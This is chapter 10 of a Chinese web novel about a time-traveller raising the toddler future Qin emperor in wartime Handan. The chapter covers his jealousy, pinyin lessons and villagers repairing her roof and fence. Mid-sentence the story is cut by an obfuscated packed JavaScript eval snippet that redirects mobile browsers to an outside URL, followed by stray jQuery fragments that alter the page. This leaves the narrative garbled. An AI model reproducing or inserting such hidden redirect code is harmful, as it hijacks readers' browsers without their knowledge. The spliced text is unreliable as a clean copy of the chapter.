文趣网 > 其他小说 > 我用万倍返利养嬴政 > 10.第 10 章
    第10章

    赵政满脑子都是赵琦笑着逗石头妹妹的模样。

    那只脏兮兮的小猫崽有什么好的?没他白,没他好看,话也没他说得利索。他才三岁,就能说长句子了,她比他大好几岁,却把话说得断断续续的,让人听她说话都要连蒙带猜。

    可这样一只小脏猫,竟让阿娘那么喜欢。又是给她吃肉,又是揉她的头发,捏她的小脸。

    ——她的脸上有冻疮,捏起来肯定没有他的手感好。

    赵政不开心。

    他觉得自己这种行为很幼稚。

    只有小孩子才会在阿娘面前争宠,他已经三岁了,是个小小君子了!他不能做那么幼稚的事情。

    赵政越想越心烦。

    赵琦有些犯愁。

    她是独生女,没机会当德华,自然没有带孩子的经验,更不知道该怎么哄小孩儿。能把嬴政养得这么好,完全是因为原主之前教的好,以及祖龙崽崽是神童,不需要她费心。如果这个时期的祖龙是个熊孩子,那她一早便跑路了,绝不会留下来无痛当妈。

    “到底怎么啦?你说嘛。”

    赵琦捏了捏赵政的小脸,“是想阿父了吗?”

    ——除了这个原因,她实在找不到能让嬴政情绪低落的事情。

    “......”

    谁要想他啊!

    赵政更生气了,“没、有!”

    完了完了,这是真想嬴异人了。

    这口是心非的小模样,不止是想,还是很想很想的那一种。

    “崽崽,你阿父肯定会来接我们的,但是需要时间。”

    赵琦长长叹了口气,道:“现在秦兵围了邯郸,别说你阿父了,你祖父都未必能接咱们回去。”

    赵政气成河豚,“我没有想他!我是——”

    “是什么?你说呀。”

    赵琦道。

    赵政说不出来。

    太幼稚了!

    太不符合他的身份了!

    “不想说。”

    赵政气鼓鼓把脸扭在一边。

    赵琦更发愁了。

    不是说历史上的祖龙压根不是高冷阴鸷的帝王人设吗?而是阳光开朗还特别会撒娇吗?那句“将军虽病,独忍弃寡人乎”能让他曾祖父秦昭襄王学一辈子。

    但凡秦昭襄王会撒娇,赵国的都城早破了,根本不会走到破防冤杀白起的那一步。

    “不想说便不说吧,等你想说的时候再说。”

    赵琦只好道。

    赵政垂下眼睑,心里更难受了。

    阿娘......不再哄哄他吗?

    “mua~~”

    柔软的吻落在他脸颊。

    阿娘的声音在他耳畔响起:“不想说也没关系,阿娘依然很爱你呀!”

    赵政愣了愣。

    他这般别扭,阿娘竟然没生气?

    赵政抬眼看赵琦。

    赵琦杏眼弯弯,眉梢带笑,面上没有丝毫不耐烦。

    “不过,阿娘还是希望政儿能开开心心的。”

    赵琦捏着赵政的脸,揉橡皮泥似的用手揉着,揉出一个大大的笑脸:“这样才好看嘛。”

    “......”

    有些幼稚。

    但,他不反感。

    赵政眨了下眼,嘴角顺着赵琦手捏的弧度,慢慢笑了起来。

    “政儿笑起来最——”

    赵琦声音一顿,卡住了。

    这小孩儿,怎么还真跟着她的手笑起来了?

    “最什么?”

    赵政眼睛黑湛湛。

    赵琦颜控,立刻便道:“最好看。”

    “那阿娘怎么还喜欢那只小脏——石头妹妹?”

    赵政哼了一声,又有些生气了。

    赵琦叹了口气,道:“阿娘是看她可怜。没娘的孩子像跟草,她现在就跟草似的。”

    赵政知道这个道理,可心里就是别扭。

    “那你,多给她点粮食就好了,不许抱她。”

    赵政伸出小短手,搂住赵琦的脖子。

    他只有阿娘了,阿娘也只有他。阿娘对他的喜欢不该被别人分走。

    赵琦顺势抱住赵政,道:“行,该日寻个借口给石头点粮食。”

    话刚说完,意识到嬴政脆生生的小奶音也有些发闷。低头去看,小糯米团子紧紧抱着她,长长的睫毛半垂着,一脸的不开心。

    赵琦明白了。

    嬴政不喜欢她逗别的小孩,嬴政只有她。嬴政觉得,她也只能有嬴政。

    相依为命的小可怜崽崽的占有欲。

    赵琦轻轻拍了拍赵政后背,“政儿不喜欢阿娘逗别的小孩儿?”

    赵政抿了抿唇,没有回答。

    “那阿娘以后不逗了。”

    赵琦道。

    赵政立刻抬头,眼睛亮晶晶,“真的吗?”

    “当然,阿娘什么时候骗过你?”

    赵琦捏了下赵政的小脸。

    赵政瞬间开心起来,圆圆的眼睛笑成月牙形状,“阿娘从不骗我!”

    太好了,阿娘没那么喜欢小花猫!

    赵琦忍俊不禁。

    这才是三岁的小孩子嘛,会生气,会撒娇,会别扭,而不是早熟聪慧得叫人肃然起敬的千古一帝。

    赵琦亲了亲赵政的小脸,“政儿真可爱!”

    母子俩和好如初。

    “阿娘今日要教我什么?”

    小赵政蹭了蹭赵琦。

    赵琦笑着道:“教你拼音写字。”

    六国文字晦涩难懂,秦字更是鬼画符,为了以后不做文盲,她觉得自己很有必要先教嬴政简体字。

    “拼音?写字?”

    小赵政半懂不懂。

    写字他知道,但拼音却是闻所未闻。

    赵琦放下赵政,拿起一根树枝,在地上写拼音,“这是a,这是o,这是e......这是eng。”

    “......”

    这是天书或者鬼画符。

    赵政看不懂。

    赵琦继续写字,“这是白菜,用拼音来拼,就是bai cai。你是小孩儿,xiao hai。”

    赵政听得有些吃力。

    赵琦教得很有耐心。

    吃力就对了。这点拼音放在一年级,那可是能教一学期的。嬴政再怎么是神童,也不可能一两天便能学会。

    石头挑水回来,看赵琦在教赵政写字。他不识字,看不懂赵琦写的是什么,但他有眼睛,看得到赵琦的茅草屋上的茅草被风吹走了很多,房顶破了好几个大洞。他睡在西间,夜里都能透过房顶的洞看到星星。

    石头便道:“姨,我去借个梯子,把房顶补一下吧。”

    赵琦抬头看石头。

    少年个头虽高,但瘦得很,看上去不太有力气。

    “你太小了,还是等你阿翁回来再说吧。”

    赵琦道。

    她原本是想让里正帮她找人补房顶的,但里正去郡里之后一直没回来,房顶的事情便搁置了。

    “我自小便跟着阿父补房顶了。”

    石头挠了挠头,“阿父去长平后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682118|207636||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,我家房顶都是我补的。”

    石头道:“这样吧,我喊小姨过来,她补得比我好。”

    “行,你们注意安全。”

    赵琦没问题了。

    石头去叫春。

    不多时,春过来了,一脸歉疚对赵琦道:“真是对不住,我阿父之前跟我交代过让我给你补房顶的事儿,但这几天我家事情太多了,我给忘了。”

    赵琦点头,表示理解。

    家里死了人,又与嫂子们闹得不可开交,哪里还有心思忙其他的事情?

    石头把梯子放在土墙上。

    春爬上去,石头在底下给她递茅草。

    两人一起干活,房顶补得非常快,天边刚刚透红,窟窿便都补好了。

    春在上面又按了按,“这下再大的风也吹不走了。”

    “没想到你还会补房顶。”

    赵琦招呼春下来吃饭。

    春下了梯子,随口道:“以前是不会的。可兄长们都去了长平,阿父年龄又大了,我就慢慢学会了。”

    赵琦无声叹了口气。

    长平,长平,又是该死的长平。如果没有长平之战,这个小山村不会变成孤儿寡妇村。可话又说回来,如果没有长平之战,秦赵之争会持续百年,黔首们依旧躲不过家破人亡的惨剧。

    历史的砂砾落在普通人身上,是压得人喘不过气的山。

    赵琦取出两斤黍米来谢春。

    “哎呀,这怎么好意思?”

    春连忙把黍米推过去,“你能收留石头,我已经非常感激了,哪能再要你的粮食?”

    赵琦把黍米直接塞到春怀里,“收着吧。”

    “我原本与你阿父便说好了,帮我修房顶,便给人两斤黍米。我不能食言。”

    “这......”

    春有些为难。

    麻在一旁道:“收着吧,你家里还有俩外甥要吃饭。”

    春眼圈一红,这才把黍米收下。

    “我看你这井打外面了,篱笆肯定要往外面扩的。”

    春有些良心不安,道:“明天我弄点枝子,帮你把篱笆往外面扎一圈。”

    赵琦立刻道:“那可太好了!”

    ——她可太讨厌干活了!

    次日清晨,春起了个大早,去山里找能扎篱笆的树枝。俩外甥懂事得很,知道自己不被舅母们待见,便跟着春一起找树枝。

    等赵琦睡醒时,三人已背着树枝来到篱笆院。

    石头正准备好饭,赵琦便让石头多做点,把春他们的饭也一起做上。

    春这次没有客气。

    扎篱笆这活儿看起来轻省,其实做起来很麻烦,又要砍树枝,又要修树枝,又要绑树枝。不把肚子填得饱饱的,这活儿还真没法做。

    吃完饭,春去干活。

    先把赵琦院子里的篱笆全拆了,再把新砍的树枝一根根扎上。树枝要在土里扎得深深的,这样才不容易倒。等扎得差不多了,再用绳子一根一根绑结实,这样才是一个新篱笆。

    临近傍晚,春终于扎完,石头做了饭,赵琦招呼春来吃饭。

    春净了手,准备去吃饭。

    然而就在这时,外面突然传来小侄子的声音:“姑姑!阿翁①回来了,让你赶紧回去!”

    “怎么了?发生什么事了?”

    小侄子的声音又尖又急,春连忙出门看。

    “不知道。”

    小侄子摇头,往茅草屋里看了一眼,气喘吁吁催赵琦:“琦姑姑,你别吃了,阿翁让你一起过去,说是有急事!特别急的那种!”